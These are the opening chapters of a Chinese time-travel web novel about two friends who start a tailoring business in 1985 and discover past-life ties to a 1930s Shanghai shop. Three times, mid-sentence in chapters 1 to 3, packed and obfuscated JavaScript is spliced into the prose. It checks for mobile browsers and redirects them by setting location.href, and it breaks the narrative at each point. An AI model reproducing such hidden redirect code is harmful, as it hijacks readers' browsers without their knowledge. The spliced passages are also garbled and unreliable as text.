《双绣重现云想[八零]》 1. 这是哪里？ 林知许从一阵头痛中醒来，这份头痛与以往不同，感觉整个神经都跟着不对劲。 她用力睁开眼，视线始终对不上焦，眼前模糊一片。 她闭上了眼，揉了揉太阳穴，再睁开眼时，这才勉强对上了焦。 一睁开就看到糊着发黄报纸的小窗户，空气中有一股煤油灯燃烧的气味，有些刺鼻。 环顾四周，泛黄的年画，靠在墙边有一张木桌，上面摆着一个印着红双喜字的搪瓷盆。 墙角那台牡丹牌收音机，这种老物件她只在剧里见过。 她心想，怎么她来到一个完全陌生的环境，这里没有她精心挑选的意大利定制沙发，没有她睡前会一直点着的床前灯。 还有这张板床，硌得慌。 她确信，这不是她的家。 “林知许，你总算醒了。” 一个熟悉又陌生的声音从门口传来。林知许猛地转头，看见苏念初端着碗，快走两步，眼神里写满了万幸。 她穿着碎花衬衫，蓝色长裤，扎着双麻花辫，整个人像是变了一个风格，像是年代剧里的小妹。 林知许双手撑着木板床缓缓起身，声音有些沙哑:“苏苏，这是哪里啊？” “这是纺织厂的家属院，你先把这碗粥吃了，等会跟你细说。” 她把碗放在旁边的桌板上，用手去摸她的额头。 “总算是退烧了，那个庸医说你活不过三天，啊呸，我差点没跟人杠起来。” 林知许听到此话，虚弱的身子跟着笑一块颤。 咳了几下，连声问道:“咋了？” “怎么说呢”，她压低了声音，凑到林知许的耳边的说道:“你前不久父母双亡，顶替母亲的职位刚进厂不久。隔壁的二愣子趁着你没家人，想直接把你娶回家明面上是娶，实际上就是强盗。你不愿屈从，就跳了湖，我费了好大劲把你从湖里捞上来，救你一命。” 林知许有些懵:“什么跟什么啊，不是已经2025年了吗？” 她脑子一转，盯着苏念初，话都说的有些不利索:“我们不是刚才还在2025年，在去会展中心的路上。” 苏念初早就知道此事，见怪不怪了。 “据我所知，我们大概率是穿越了。” “穿越？” 林知许脑袋一阵嗡嗡作响，电流声不断。前些天的记忆浮现:她开车带着苏念初去会展中心的路上，一辆大货车来不及刹车，直接撞向了她们的车，然后就是一片黑暗。 “这么说，我们已经在2025年没了，来到了这个年代。” “准确来说，是这样没错。” 两人劫后余生的舒适感袭来，开启闲聊。 “我是个孤儿，你又是个什么悲惨人设？” 苏念初两手一摊，无奈笑了笑:“你说对了，我这个人设父母健在，胜似不在，重男轻女，让我在纺织厂工作就是为了给我弟那个二世祖娶媳妇用。” 林知许听她说着这话，看来也是乐观的不像话。 精神好了不少，这才关注到身体上的变化。 这具身体和她2025年时候没啥大的变化，要真说有什么变的，就是皮肤粗糙了些。她不过身体没什么变化，独属于二十一世纪的灵魂也存在。 早些年看的那些小说，都是魂穿，她感觉自己可能更像是身穿。 她冷静了几秒，平静的说出:“大事不妙咯，我们是身穿，按照我之前的知识储备，大概率是无解。” 苏念初愣住了：“什么意思？” 林知许不紧不慢的下了床，对着镜子看了看自己，长相对得上，身材也差不多，手上的那颗红痣都在。 这下更加肯定的说道:“这是我自己的身体。” 接着看向她，就开启了一个不明所以的流氓之举。 她掀了一半苏念初的上衣，看到腰间的那块胎记。 “看来我的推测确实没错。” “所以我们是身穿到了这个陌生的地方。” 现在看来，情况是不知何故，穿到了一个陌生之地，也不知该如何破局。 苏念初把粥递给她，轻声回应:“先不管这些，填饱肚子要紧。我打听过了，现在是1985年，这里是南城。咱们得想办法活下去。” 林知许小口喝着稀薄的米粥，想着活下去的法子。 出于设计师的本能，她注意到了墙角的木箱。她走过去打开，里面是一些旧衣物和几本服装裁剪书籍。 好奇的问了一句:“这是什么？” “应该是这家母亲的吧，听说她母亲是南城有名的裁缝。”苏念初凑过来看。 林知许翻看着那些已经泛黄的书籍，上面的图样和笔记给了她不少的启发，紧接着就是一阵晕眩。 —— 一盏煤油灯下，一个穿着民国旗袍的女子低头在缝纫衣裳，灵活的手指，做起布料来游刃有余…… “知许？” 苏念初着急忙慌的去扶住她，“你怎么了？” 林知许闭上眼，醒了一下神，幻象消失了。 “没什么，可能是刚醒身子虚。” 苏念初脑子反应过来，来了一句:“裁缝，不就是你的老本行吗？” 林知许秒懂，接下了话:“我也是这样想的，要不我们去卖衣服吧，我做你卖，卖可是你的专长。” “可是我们得有启动资金吧。” “你说的对。” 两人不约而同的清点了所有财产。 林知许口袋里有一块电子表、一支绘图铅笔。 苏念初带着一支口红和一部没了信号的智能手机。 加上这个家里能找到的零钱，总共不到五块钱。 “这点钱，好点的布都买不了吧。”苏念初泄气地坐在凳子上。 林知许的目光回落到那个旧木箱里，她打开箱子仔细翻看了一番。 在箱子底，摸到一块不错布料，藏蓝色的纯棉布，还带着哑光质感，和市面上容易买到的比确实要好不少。 那些关于这个身份的人记忆，出现在了她的脑海里。 “妈妈，你拿回来这些布，是要做新衣裳吗？” “这些都是样品，我看着不错就拿回来了，现在没人收了，怪可惜的。” 林知许抚摸着布料，灵感也敲上了门:“这个就很不错嘛，我们只需要一块敲门砖，做一件‘样板衣’就行。” “样板衣？” “一件足以惊艳，只要招牌打出去了，自然会有人愿意预定。” 说干就干。 林知许摊开旧报纸，用着绘图铅笔流畅的画了张图。 她原本是想画个现代的裙子模样，手突然就不听使唤画了民国的元素。 稍稍收腰的版型，简单处理过的领口，袖口微微张开。 她拿着稿子大手一挥，准备接受夸奖。 “这设计，确实不错，就是不像你之前的风格。”苏念初拿着稿子，看得仔细。 “不知道，就是觉得应该这么设计。”林知许摇头，回应道。 “只要是好的作品，管是不是之前的风格。话不多说，开干。”苏念初接下话茬。 林知许熟练的拿着剪刀，从布料上划过。 这种老式的缝纫机，从前别说是踩就是见都不咋见过。 本能的踩上缝纫机，逐渐就熟练了。 接着就是袖口的特殊处理，她刚穿上针，就传来一阵幻觉。 —— 繁华的上海街头，一家名为“云想阁”的服装店前宾客盈门，一位女子举止优雅大方向顾客们细心介绍衣服，另一个女子配合着笑脸迎宾…… 一个不留神，针尖扎破了手指，先是“嘶”了一声，接着熟练的塞进了嘴巴含着。 “你没事吧？”苏念初闻声赶来。 林知许突然抓住苏初念的手腕，说出了一个陌生的名字：“筠霞？” 苏念初愣住了，缓了一会:“你叫我啥？” 林知许也有些懵，“就是突然想起来这个名字，应该是叫你的。” 苏念初的表情也变着有些古怪：“奇了怪了，你这样叫我，我居然也感觉很熟悉，不会我们更早前就认识吧。” 难言的氛围弥漫，一阵沉默，思索片刻那短暂的幻影。 林知许回过神来，继续埋头干活。 当天晚上，林知许终于完成了那条裙子。简单的款式，因为腰线和袖口的巧妙设计，瞬间显得板正又美观。 苏念初拿起裙子在自己身上比划，“不愧是你，这裙子真是好看。” 林知许一脸得意。她仔细的看了看领口，发现那里有她无意识中绣上的一个细小纹样，那是一朵抽象的云纹。 “云纹，要不取名叫‘云开’。” “云开，守得云开见月明，可以的。不得不说，你也是个平平无奇的取名小天才。” 苏念初眉毛上挑，毫不掩饰的夸赞道。 一想到明天要开张，虽然两人早就配合着做了好些年的生意，但还是有些激动的睡不着觉。 第二天天刚亮，两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908292|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就悄悄出了门。 苏念初挎着一个干净的布包，里面小心翼翼地装着那条叠得整齐的“云开”裙子。 林知许跟在她身边，两人偷感很重的上了街。 一大早街上，穿着灰蓝工装的人们骑着二八大杠自行车赶着去上班，墙面上刷着大字标语，喇叭里放着激昂的红色歌曲。 城南的自由市场，长长的街道两侧，挤满了摊位。有卖自家种的菜的，有卖各种生活用品日杂摊…… 她们人生地不熟的，只好在边缘找块地。 苏念初从布包里拿出那条裙子，轻轻抖开，挂在了提前准备好的一根树枝上。 这里来往的人多，大多都是奔着日用品去的。很少人会注意到角落里的那件裙子，就算有也只是匆匆瞥一眼就离开了。 一个上午过去，没一个人上前询问。 苏念初还是第一次如此无奈，尽力吆喝了几声也无用。 林知许却沉得住气，轻声安慰道:“别急，好衣服怎么得都会欣赏的人的，我们再等等。” 又过了大概半小时，一个穿着打扮明显比周围人更讲究些的年轻女人停了下来。她看着年龄在二十七八，穿着一条熨烫平整的连衣裙，头发打理得乌黑发亮。她的目光盯着那条裙子，打量了一番。 “这个怎么卖啊？”她走上前，手指轻轻摸了摸裙子的袖口。 苏念初立刻挂上她的招牌笑容，带有莫名的亲切感：“姐姐好眼光，这衣服不直接卖。” 女人一愣：“不卖的话，挂在这里干吗？” 苏念初拿着她的手，耐心的解释，像是在捞家常:“这是我们出的样板，姐姐，你一看就是识货的，这做工和版型都是很好的。你要是喜欢，我们可以根据你的尺寸量身定做，三天后就能取货。预订价八块，等正式出货可就要十二块了。” 女人听到这话，有些懵圈，胜在喜欢得紧，问了一句:：“八块，这个可比百货大楼的贵，你们真值这个价吗？” 林知许附和着开口，声音平和：“百货大楼里的衣服，那都是工厂出的，都大差不差的。我们这件，是纯手工定制。” “你看这个腰线” “你看这个袖口” “保准和别家不同，你要是买的话，那就是独一无二的真品。” 她一边说一边展示，示意女人看。 女人原先的迟疑渐渐打消，那“独一无二”四字让她心动不已，她仔细看了看这条裙子，翻开比划了几下，肯定的回了一句：“成，那我就先订一件。” 第一笔订单。 苏念初立刻拿出提前裁好的旧报纸和铅笔，熟练地记下女人的姓名、所需尺寸，并约定两天后在这个地方不见不散。女人开心时，撒钱也是爽快。 两人在女人走后，击了个掌。 苏念初拿着那两块钱，笑着说道:“虽然不是第一次卖衣服了，但还是感觉很有成就感，这两块钱我可要珍藏。” “行嘞，瞧你那贪财的样。” “你还不是。” 中午，两人蹲在角落，啃着从家里带的冷馒头，就着白开水，心情却好得很。 有了一个好开头，接下来的事情顺利了许多。那条悬挂的“云开”裙子吸引了不少追求时髦或者有特定场合需要的女性。到了下午，她们接到了六个订单。 回家的路上，苏念初好似从前般的自信，爽朗的说道:“哎呀，不愧是我们，闺蜜齐心肯定干什么都成的。” “可我总感觉有些不对劲，今天顺利的不对劲。” “那些突然出现在我脑子里的设计灵感，我叫你‘筠霞’时的自然，你也不感觉到陌生”林知许轻声说，“我觉得，我们和这个时代，可能有着比想象中更深的联系。” 苏念初听到这话，也感觉不对劲，手不知道何处安放，从口袋里掏出了没有信号的智能手机。 没了电的手机，漆黑的屏幕，这一切都太不真实。 苏念初缓了口气:“哎呀，别想太多，既来之则安之。不管是什么原因，不管我们是谁，现在最重要的是活下去，活得好。” 林知许不知从何处迸发灵感，拿起铅笔，在报纸的空白处无意识地画下一朵精致的云纹，旁边是流畅的“云想”二字。 “这是什么？”苏念初问。 “这就是我刚刚和你说的，莫名其妙的灵感。” 夕阳落在两人的身上，修长的影子跟着脚步移动。 前路未知，隐藏在时空迷雾中的前世今生，正等待着合适的时机，向她们展露真容。 2. 第 2 章 回到那间狭小的屋子，林知许开始了新一轮的工作。 六件预订的裙子，全靠自己缝纫，脱离了机械化还真是不适应。 “吱嘎——吱嘎——” 老式的缝纫机响起，她一上手就有一种莫名其妙的熟悉感。 制作衣服的每个步骤都信手拈来，好像做过很多次。 在她专注于给第三件裙子缝制袖口时，那种奇怪的晕眩感又来了。 —— 昏黄的灯光下，一双属于女子的手正在缝制一件月白色旗袍的领口，针脚细密。窗外放着老式留声机，时而传来黄包车来往的声音…… “知许？” 苏念初的声音将她拉回现实。林知许猛地回神，发现自己手中的针线又一次偏航，在袖口内侧绣上了一个精致的云纹，与第一条"云开"裙子上的纹样一模一样。 “你脸色看着不大好，是不是太累了？” 林知许摇摇头，指着那个无意中绣出的云纹：“奇怪，你看这个，我不记得我绣了它。” 苏念初凑近细看，有些困惑：“你别说，这个还挺熟悉的，总感觉在哪里见过？” “在哪儿？” “年纪大了，脑子不好使，想不起来了。” 苏念初揉着太阳穴，“就是一种很熟悉的感觉，你懂就是那种老熟人，但是很久没见的那种感觉吗？” “看来你跟我一样，有一段奇妙的记忆。” “哎呀，再说吧，这不是你一个人肯定是忙不过来，我帮你弄点吧。” 苏念初上手帮忙处理一些简单的工序，拿起针线时，有说不清的熟悉感。 “我天，我以前都没缝过，莫非我真有天赋。”苏念初看着这拿针线的巧手，不禁感叹。 “看来，你也是如此，获得了一门新技艺。”林知许轻声说。 两人继续埋头苦干，门外传来一阵敲门声。 苏念初放下了手上的活，林知许配合着收拾东西。 苏念初打开了门，门外站着一个身材像个苹果的男人，他板着个脸，目光扫过林知许正在收拾的东西。 林知许见状没再收拾，走到苏念初身旁，两人窃窃私语了几句。 这人叫王大志，三十八岁，车间主任，喜欢找茬。 王大志打断了两人的小话，“你们两个看着很忙啊？” 苏念初露出那标准的赔笑，“没有，王主任哪里的话，你来我们肯定是欢迎的。” 欢迎个屁，趁早滚蛋! “你们现在在干嘛？” 苏念初说起慌来，脸不红，心不跳：“王主任，我们这是在赶厂里的活，这不是知许前阵子生病，落下不少活，我们正在赶工呢。” “赶工？” 王大志哼了一声，拿起一条完成了一半的裙子，“这是厂里的活？睁着眼睛说瞎话，当我好糊弄是吧。” 林知许平静的接了一句：“王主任，我们用的是下班后的时间，接点私活补贴家用，这应该不违反厂里的规定。” “不违反规定？” 王大志把气撒在那条裙子上，把它扔在了地上。 “我说违反规定，你们不服吗？这些天，你们都没去工作，现在不好好的想着怎么弥补厂里的损失还去接私活。” 苏念初赶紧打圆场：“王主任，我们知道错了。这不是生活所迫嘛，您看我们两个都缺钱的很。” 王大志打断了她的话:“少给我卖惨。” 沉默片刻开口:“这次，我就睁一只眼闭一只眼，下次不许了。” 两人表面答应的好好的，可算是把这个王大志送走了。 他走后，两人又气又愁。 “这个王八羔子，天天就知道多管闲事。”苏念初忍不住火，还是尽量放低声音。 林知许附和着:“对啊，王八羔子。” “不过我们接下来怎么办？”苏念初问了一嘴。 “白天干活，晚上偷偷继续干吧。” 接下来的日子，她们过得充实的很。白天在车间里干活，王大志天天闲的没事抓她们小辫子；晚上好不容易回到家，只敢就着蜡烛缝缝补补。 三天后，六条裙子按时完成。每一件都熨烫平整，用旧报纸仔细包好。每一条裙子的领口内侧，林知许刻意绣上了那个云纹，还加上了一个“L”。 她自然的向苏念初展示，“这个是我们的logo，如何？” “看来我们又要开始创立新的品牌了。” “又不是没做过，小case了。” 第二次来到自由市场，按照约定的时间，第一位顾客过来拿衣服。 她打量了一番衣服，在身上比划了几下。 “比我想象中的还要好。” “你满意就好，你开心我们也跟着欢喜。”苏念初笑着回应道。 “对了，我姓许，下周我有个联谊会，你们能给我做一条适合的裙子不？” 这不就是天降财路，饭都喂到了嘴边，自然是要吃下的。 苏念初立刻接话：“当然可以，许姐。我们可以为您量身设计一套，保证您在联谊会上独一份儿。” 趁着许女士在场，苏念初拿出她的专业话术，介绍衣服的新搭配理念。 这新鲜的说法说不动的不光是她，还有另外几位来取货的。 其中就有一位，当即就下了单。 那天下午，她们不仅顺利交付了所有预订，还接到了四件衬衫和两条裙子的新订单。 晚上，苏念初借着煤油灯的光，在自制账本涂涂改改，“知许，你猜猜我们的净利润有什么？” “你就别卖关子了，多少？” “二十八块六毛” 林知许楞了一下，倒不是意外，就是对这个年代的钱的概念还不适应。 “不过我们是不是太过顺利了？” 苏念初笑着回应道:“顺还不好啊，你真想着吃点苦头。” “那倒不是，就是我最近老有一种熟悉的感觉，那些灵感和创意都来自以前的感觉。” 苏念初停止了算账，神经兮兮的说了句:“我今天跟布料供货商交谈的时候，顺口说了上海话” “上海话？我们都认识这么多年了，我从来没听你说过。” “我在那之前没有学过上海话，当时脱口而出的时候，老板娘都愣住了，还问我是不是上海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908293|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人嘞。” 两人交谈还在继续，门外一阵敲门声，还有喊声:“开门” 两人都感觉大事不妙。 苏念初迅速将账本和钱藏好，林知许则起身开门。 门外站着的是同院的张彩凤，她身后还跟着两个穿着蓝色制服的男人，而车间主任王大志也阴沉着脸站在最后。 张彩凤指着屋里的缝纫机和堆放的布料，“你们看看这满屋子都是证据，她们两个肯定是在搞投机倒把。” 其中一位年长些的男人严肃的看着林知许：“我们是市场管理委员会的。有人举报你们无证经营，非法牟利。请配合我们调查。” 她们担心的事情果然还是来了。 “同志，这肯定是误会不是。” 苏念初上前一步，一副诚恳老实的样子。 “我们这不是经营，就是帮亲戚朋友做几件衣服。您看，我们都是纺织厂的正式工人，哪能干那种违法的事？” 苏念初一唱，林知许一和，“是啊，我们怎么可能干呢？” 年轻些的稽查员冷笑一声：“真要是帮亲戚朋友，收钱干嘛？” “不赚钱的，我们就是拿点布料费，总不能白贴布票，又费时间吧。”苏念初和气的解释道。 王大志突然开口，说了句人话：“两位同志，年轻人初来乍到，难免会犯点错。念是第一次，可以给个机会改正的。” 林知许开口：“两位同志，我们做的每一件衣服都有记录，都是熟人介绍来的。如果这也不允许，那我们以后不做了就是。” 她平静说出这番话，年长的稽查员打量着她，目光最终落在她手边那件完成了一半的裙子上。 “这个当真是你做的？”他拿起裙子，仔细查看了一番。 林知许点头:“有什么问题吗？” 他打量着衣服，回应道:“没什么，手艺不错。” 这下气氛才稍稍轻松一点。 苏念初趁机说：“同志，我们就是靠手艺赚点辛苦费，如果这样也不行的话。我们这就把东西收起来，以后再也不接这样的活了。” 两个稽查员相视，那位年长的认真说道：“你们是有那个手艺不错，以后还是要走正道，不能再干这种事情了。这次就不处分了，下回再犯可会严惩。” 送走稽查员和张彩凤，王大志落在最后。他盯着两人看了半晌，走之前说了一句：“明天早上来我办公室一趟。” 两人点了点头，关上了门。 苏念初长舒一口气，“我去，刚刚还是有点吓人啊，差点以为要蹲局子了，老娘还没蹲过，可不能因为这个去了。” 林知许还在想刚才的事情，来了一句:“这个张彩凤平日里和我们两个不熟，她怎么会这么清楚我们的事情，真是奇怪，还有王主任也过来了。” “估计是眼红吧，她这个人就喜欢到处八卦见不得人好。” “也可能是因为有竞争对手。”林知许轻声说，“别忘了，市场上已经有人开始模仿我们的设计了。而且王主任的态度也很奇怪，他明明可以置身事外的。” 这下，两人不好再做这么高调的生意。 又该何去何从？ 3. 第 3 章 在这个计划经济尚未完全解体的年代，私人经营依然游走在法律的边缘。 继续这样，终究不是个办法。 “我们得换个方式，这样干肯定是长久不了。”林知许认真的和苏念初说着。 “可是不能放弃许女士的订单，那可是好机会，她手里可拿着不少的好客户。”苏念初拿着账本，一本正经的说道。 林知许顿了一会，想了一会，脑子有了想法:“我想到了一个法子。” 她拿起铅笔，在纸上画了一个简单的流程图：“我们现在不能再去摆摊了，现在就只能做些熟人生意，根据人传人内推的方式，继续做下去。” “这不就是私人订制吗？倒是个好法子，就是感觉我们以后还是得找个正规经营的法子。”苏念初转念一想，回应她的话。 “先这样，走一步算一步。” “走稳走好，才能长久” 第二天一早，她们准时出现在王大志的办公室。两人猜想，王大志是想着为难她们两个，还想了好几个说辞。 不过王大志并没有为难她们，只是和他们说件事。 “下个月省里要开纺织行业交流会，厂子里开会商量了一下决定派你们两个去。” 她们两人愣住了，懵圈了。 王大志板着脸，一本正经的说:“好好把握机会，不要想着继续搞你们那些个不正道的事情。等正式通知下来，我会再找你们的，好了出去吧。” 走出办公室，苏念初忍不住问：“他变了？” 林知许也感觉莫名其妙，回应了一句:“不清楚，总感觉是黄鼠狼给鸡拜年，既然他让我们去，那就去看看吧。” 时代在进步，变革是必然的。 按照历史的走向，市场经济终会到来，她们也在期待着这一刻。 接下来的日子，她们的工作还在继续。 林知许负责设计和制作，苏念初则负责联络和配送。她们对许女士的订单，格外上心。 这次是一件蓝色西装裙套装，林知许在设计时融入了一些民国元素的细节，又加了些现代元素。 在她缝制套装的内衬时，手指再次不受控制地绣上了那个云纹，这一次，纹样旁多了一弯新月。 林知许看着这标记，有一种熟悉的感觉涌上心头。 约定送货的日子到了。苏念初包装好裙子带着牛皮袋子送往了许女士的家里。 当她试穿那套专门为她设计的套装时，整个给人眼前一亮的感觉。 “这个真不错。” 她在镜子前转来转去:“以前想买这么合身又好看的衣服就很难找到地方，要不就是样式不行，要不就是款式不行。” 苏念初趁机送上准备好的牛皮纸袋，里面除了一套衣服，还有一张温馨提示的小卡片：“许姐，这是我们特别为你准备的。以后你的衣服有什么问题啊，随时联系我们，包会让你满意的。” 许女士眉开眼笑，回应着：“你们还真的是有心了，下次想买我还找你们。” 她爽快地付了款，临走时还压低声音说：“我有个表姐在妇联工作，下个月要参加个会议，还要上台发言。她正想着上哪里买一件得体又出彩的衣服。我想着给介绍给你们，你们觉得如何？” 苏念初笑着应下:“许姐介绍来的，我们一肯定会认真对待的。” 回到家里，苏念初告诉了林知许这喜讯。 当晚，林知许在整理许女士那套衣服的版型图时，发现图纸的角落写着三个字，她全然无印象。 云想阁。 “这是什么？”不知何时站在她身后的苏念初问。 林知许一脸懵地抬头：“我也不清楚，应该又是无意识写下的。” 苏念初重复着这个词，想起了一句诗。 云想衣裳花想容 “我们是做衣裳的，云想阁这个名字再合适不过了。” “我也感觉，那就叫云想阁吧。” —— 许女士真就给她们介绍过来了她的表姐。 许女士的表姐姓程，在妇联担任副主任。与许女士的开朗不同，程主任是个严肃正派的中年女性。 当她走进林知许和苏初念那间简陋的小屋时，目光中带着质疑，打量了一圈。 她带着不信任的语气说道:“你们当真有小许说的那样厉害，看着这个环境我很难相信你们。” 苏念初立刻挂上了招牌笑脸：“您好，程主任，您先坐。” 她示意程主任坐下，缓缓开口。 “您第一次来，不相信我们也正常嘛，我给您看看我们之前的作品，您不满意再走也不迟嘛。” 林知许配合着拿出为许女士做的那套西装的版型图，铺在桌上。程主任刚瞧上那张图，就觉着惊讶。 “这个当真是你的作品吗？”她俯身细看，手指轻轻拂过图纸。 林知许点头:“是的，这是根据每个人的身形特点单独设计。” 程主任沉默片刻，从随身携带的公文包里取出一块深灰色毛料：“小许应该跟你们说过的，我想要一件正事又有特色的衣服。这块料子是我好不容易买到的，我能放心交给你们吗？” 林知许接过料子，轻轻抚摸这布料，这质地，似乎出现在过她的记忆之中。 她自信的回应道:“可以的，我会做一些特殊的处理，保准既独特又正式。” 苏念初附和着:“对啊，我也相信她。” 程主任盯着她看了会，点头道：“那我就给你们这个机会，不过我有个条件……” 她顿了顿，目光犀利：“我要全程参与制作过程。” 这个要求之前鲜有人提，苏念初怕林知许犯难，刚想婉拒，林知许却抢先开口：“可以。明晚您要是不忙的话，可以过来，我给你量身定制。” 送走程主任，苏念初关上门，小声说道：“让她全程参与，会不会出什么岔子啊，我总有种不好的预感。” 林知许对自己的专业那是相当自信:“怕什么啊，你难道不相信我吗？我的实力你又不是不清楚。” “我肯定是相信你的。” 第二天晚上，程主任准时到来。 林知许拿出软尺为程主任量体时，手指触碰到对方的肩线，脑海里又浮现出一段记忆碎片。 —— 一个穿着旗袍的女子站在镜前，另一个女子正在为她调整腰线。 “筠霞，这里的收腰要再收半分，才能显出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908294|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的风韵。” “林小姐？”程主任见她停住，就叫了一声。 林知许定了定神：“不好意思啊，程主任。我是看您的右肩比左肩略低两分，裁剪时我会注意的。” 程主任表示肯定:“你能看出来这个，还蛮专业嘛。” 林知许谦虚的说了句:“谢谢”，拿起铅笔在纸上快速勾勒。铅笔在她的手里，像是有自己的意识，画出了独特的风格。 一件融合了中西元素的女西装，初稿完毕。 西装外套采用了改过的旗袍领，A字版型侧边，加上了暗褶。 程主任看着图纸，半天没说话。 林知许以为她有不满，就礼貌问了句:“如果您不满意，我可以修改。” 程主任缓缓摇头：“不，我很满意。就按这个做。” 接下来的三个晚上，程主任几乎每天都来。她安静地坐在角落里，看着林知许飞针走线，看着苏念初处理细节。 在第四天晚上，当林知许为外套缝制内衬时，程主任突然开口：“你们的手法，很像我妈妈年轻的时候见过的针法。” 林知许放停下手里的针，愣住了。 “那是在1934年的上海，有一家叫‘云想阁’的服装店，店里有两位女师傅，手艺都很不错。而且啊，她们还用着自己独创的纹样。” 林知许和苏念初二人都停住了，苏念初问了句:“您能继续说说云想阁嘛？” 程主任深深的看着两人，适才开口：“听说这店早在1937年就关门了，其他的我也不得而知。” 她站起身，走到林知许身边，看着她正在缝制的那件外套，正缝制着云纹。 程主任轻声说:“真是巧啊，你缝制的这纹样，和当年的云想阁一模一样。” 林知许愣住了，有些不知所措。 程主任忽然笑了：“这是吓着你了吗？你别想太多，我就是突然感慨一下。” 她从包里取出一个陈旧的信封，从里面抽出一张泛黄的照片。 照片上，两个年轻女子并肩站在一家招牌上有“云想阁”的店铺。照片有些模糊，依稀能辨认出两个女子的容颜。 与林知许和苏念初，几乎是一个模子刻出来的。 “这个世界真有这么巧的事情吗？”苏念初喃喃道。 程主任收起照片，说了一段难寻的话:“这世间的人啊，事啊，谁又能说的清道的明。” 那晚，两人失眠。 脑子里乱糟糟的，脑海里全是一闪而过的画面。 战乱被迫分离、未完成的约定…… 两人如同有了心灵感应一般，同时开口。 “睡了没？” “睡不着”“我也是” 苏念初接着问道:“你是不是也在想那张照片的事情？” 林知许点点头，回应道:“我想或许这就是那些记忆碎片出现的原因。云想阁或许就是那时未完成的约定。” “我也这样想，接下来我们该怎么办？” “一步步来吧，总有一天云想阁会重新开张的。” 两天后，程主任过来取衣服，付清了尾款。 走之前，留下了一句话:“期待云想阁再现。” 4. 第 4 章 过了些天，林知许和苏念初两人刚走进纺织厂，门卫张叔就叫住了她们。 张叔声音低沉，提醒道:“王主任说是让你们两个去一趟他的办公室，我看他脸色不是很好，你们两个小姑娘当心点。” 两人异口同声的回了一句:“谢谢张叔的提醒。” 路上的时候，两人还在交谈。 “话说，他之前不是找过我们一次吗？怎么又找，事儿精吧。”苏念初小声吐槽道。 “快到厂里了，还是别说这个话了，等到时候看他想干嘛吧，见招拆招吧。” 路过成衣车间时，张彩凤不知从哪里听来的消息，幸灾乐祸的。笑得正欢，和旁边人说起。 “你们知道不，前些天她们两做的那个事，今天肯定是处分下来了……”边说还边从口袋里掏出瓜子，分给旁边的人。 “不会吧” “她们不像是会干这种事情的人” “胆子好大啊” …… 各种话都有，张彩凤边说还边挑衅的看着她们两。 苏念初这脾气差点就压不住，林知许倒是冷静拉着她。 两人去往了王大志的办公室，在二楼，门没锁。 林知许轻轻敲门，里面传来声音：“进来。” 王大志正坐在办公室里，手里拿着的那杯茶放了下来，低沉的发话:“坐。” 林知许和苏念初两人听到此话，坐在了她的对面。 王大志端起搪瓷缸喝了口茶，这才缓缓开口：“省城开会那个事情，你们没忘吧。” 林知许回想片刻，记起了这茬。 “没忘，您是有什么新的指示吗？” 王大志没有立即接话，而是从抽屉里拿出一个牛皮纸信封，推到她们面前。 “看看这个。” 林知许小心翼翼的打开信封，里面是两张盖着红印的介绍信，以及一份会议通知。 标题:全省轻工系统技术革新交流会 地点:省城， 时间:半个月后 参会人员:南城纺织厂：林知许、苏念初。 王大志坐直了些，语气严肃:“正式通知下来了，你们两个要好好表现。这次交流会很重要，往大了关系到厂子里明年的效益，往小了说关系到你们每个人的饭碗。” 他站起身，走到窗前，背对着她们：“相信你们也能看到咱们这个厂子落后了不少，这几年效益一直上不去。局里开会决定，明年要是再不行就裁员合并。” 两人瞬间明白了，这是一次关乎厂里的前途大事。 王大志转过身，认真的和她们说道：“你们干的那些活，手艺确实不错。现在厂里的经营出了问题，你们作为厂里的一份子，是不是该尽力帮厂子里渡过难关。” “该” 该个鬼，有困难了才想起找我们。 “想不想打一个翻身仗，让整个厂子里的人都为你们感到骄傲。” 这个话术，太过熟悉，这不是职场PUA大全里的吗。 “想的，那肯定的。” “我们赴汤蹈火，在所不辞。” 这两人一下就应到了领导的心吧上，可不嘛，以前自己是领导当然知道想听些什么。 “光说可不管用啊。” 王大志走回办公桌，敲了敲那份会议通知:“交流会有一个展示环节，每个厂子都有一个展位，这个很重要，一定不要出岔子了。” 两人应了一声:“知道了。” 苏念初接着又说道:“主任，那我们现在又要干活，又要准备展示品，心有余力而力不足啊。” 他顿了顿，语气稍微缓和：“你们就专心搞这个就行，你们的其他工作，我自有安排。材料、设备，厂里全力支持。需要什么，直接打报告。” 两人刚想说出：“谢谢主任和厂子里的支持”，被王大志的“但是”二字抢先。 苏念初和林知许两人对视。 【林OS:但是什么，难不成他又要变卦。】 【苏OS:我就知道这个他这个人心吗这么好。】 